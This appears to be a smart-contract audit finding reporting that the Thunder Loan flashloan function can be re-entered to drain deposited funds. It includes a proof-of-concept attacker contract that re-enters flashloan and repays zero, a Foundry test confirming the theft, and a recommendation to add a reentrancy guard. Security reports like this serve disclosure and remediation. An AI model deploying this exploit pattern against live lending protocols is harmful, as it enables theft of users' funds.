Summary
The function flashloan
can be reentrancy allowing an attacker to withdraw all money
Vulnerability Details
The function function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external
can be reentrancy allowing an attacker to withdraw all money
Impact
An attacker can set up a malicious contract with executeOperation
function. Inside that function monitor the balance of assetToken
then call again to flashloan
. In the callback function both 3 variables: endingBalance
and startingBalance
and fee
be zero cause the transferUnderlyingTo
already happen in the previous call flashloan
.
In the second executeOperation
, the attacker contract only need to call repay
with amount+fee=0
and steal all money from Thunder loan
POC
pragma solidity 0.8.20;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import { IThunderLoan, IMaliciousThunderLoan } from "../../src/interfaces/IFlashLoanReceiver.sol";
import { AssetToken } from "../../src/protocol/AssetToken.sol";
import { Test, console } from "forge-std/Test.sol";
contract FlashLoanReceiverReentrancy {
using SafeERC20 for IERC20;
uint256 reentrancyCount;
address s_thunderLoan;
constructor(address thunderLoan) {
s_thunderLoan = thunderLoan;
}
function callToThunderLoan(IERC20 token) external {
AssetToken assetToken = IMaliciousThunderLoan(s_thunderLoan).getAssetFromToken(token);
uint256 allBalance = IERC20(token).balanceOf(address(assetToken));
console.log("all Balance", allBalance);
IMaliciousThunderLoan(s_thunderLoan).flashloan(address(this), IERC20(token), allBalance, "");
}
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address initiator,
bytes calldata
)
external
returns (bool)
{
reentrancyCount++;
if (reentrancyCount == 2) {
IMaliciousThunderLoan(s_thunderLoan).repay(token, 0);
}
IERC20(token).approve(s_thunderLoan, amount + fee);
IMaliciousThunderLoan(s_thunderLoan).flashloan(address(this), IERC20(token), 0, "");
return true;
}
}
pragma solidity 0.8.20;
import { Test, console } from "forge-std/Test.sol";
import { BaseTest, ThunderLoan } from "./BaseTest.t.sol";
import { AssetToken } from "../../src/protocol/AssetToken.sol";
import { FlashLoanReceiverReentrancy } from "../mocks/FlashLoanReceiverReentrancy.sol";
contract ThunderLoanReentrancyTest is BaseTest {
uint256 constant AMOUNT = 10e18;
address user = address(456);
address liquidityProvider = address(123);
FlashLoanReceiverReentrancy flashLoanReceiverReentrancy;
function setUp() public override {
super.setUp();
vm.prank(user);
flashLoanReceiverReentrancy = new FlashLoanReceiverReentrancy(address(thunderLoan));
}
modifier setAllowedToken() {
vm.prank(thunderLoan.owner());
thunderLoan.setAllowedToken(tokenA, true);
tokenA.mint(liquidityProvider, AMOUNT);
_;
}
modifier hasDeposit() {
vm.startPrank(liquidityProvider);
tokenA.approve(address(thunderLoan), AMOUNT);
thunderLoan.deposit(tokenA, AMOUNT);
vm.stopPrank();
_;
}
function testReentrancy() public setAllowedToken hasDeposit {
vm.prank(user);
flashLoanReceiverReentrancy.callToThunderLoan(tokenA);
AssetToken asset = thunderLoan.getAssetFromToken(tokenA);
assertEq(asset.balanceOf(address(flashLoanReceiverReentrancy)), AMOUNT);
}
}
Tools Used
Manual
Foundry
Recommendations
Use some oppenzepplin pattern to prevent reentrancy for flashloan
function